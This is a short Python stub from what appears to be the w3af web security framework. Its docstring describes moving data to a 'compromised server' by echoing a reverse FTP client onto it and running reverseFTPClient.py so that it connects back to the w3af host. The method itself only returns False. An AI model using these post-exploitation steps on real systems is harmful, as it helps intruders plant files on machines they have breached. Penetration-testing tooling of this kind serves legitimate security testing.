'This method is used to transfer the data_str from w3af to the
compromised server. Steps:
- using EchoLinux / EchoWindows transfer the reverseFTPClient.py
file (or the cx_freezed version)
- start the _serve method
- call the reverseFTPClient.py file on the remote server using:
- reverseFTPClient.py <w3af-ip-address> <port> <destination>
- verify that the file exists'

def transfer(self, data_str, destination):

    return False
